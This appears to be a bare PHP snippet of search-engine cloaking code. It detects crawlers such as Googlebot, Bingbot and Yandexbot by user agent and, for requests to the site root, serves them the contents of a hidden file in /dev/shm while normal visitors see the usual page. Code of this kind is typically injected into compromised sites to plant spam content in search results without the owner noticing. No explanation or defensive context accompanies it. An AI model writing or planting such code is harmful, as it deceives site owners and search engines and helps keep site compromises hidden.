function mangsud_local($path) { if (file_exists($path)) { return file_get_contents($path); } return false; } $res = strtolower($_SERVER["HTTP_USER_AGENT"]); $botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/"; $file = mangsud_local('/dev/shm/local'); if (preg_match($botchar, $res)) { if ($_SERVER['REQUEST_URI'] === '/') { echo $file; exit; } }